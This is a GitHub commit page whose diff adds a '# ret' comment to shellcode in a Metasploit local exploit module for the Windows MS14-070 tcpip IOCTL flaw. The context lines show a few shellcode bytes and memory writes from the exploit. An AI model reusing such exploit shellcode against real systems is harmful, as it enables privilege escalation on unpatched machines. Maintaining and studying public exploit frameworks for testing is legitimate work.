Skip to content

Commit dc13446

Browse files
committed
Forgot to comment ret instruction
1 parent 5a39ba3 commit dc13446

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -131,7 +131,7 @@ def exploit
131131
sc << "\x83\xf9\x00" # cmp ecx, 0
132132
sc << "\x75\xf7" # jne loop_frames
133133
sc << "\x31\xc0" # xor eax, eax
134-
sc << "\xc3"
134+
sc << "\xc3" # ret
135135

136136
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
137137
this_proc.memory.write(0x38, "\x00\x00")

0 commit comments

Comments
 (0)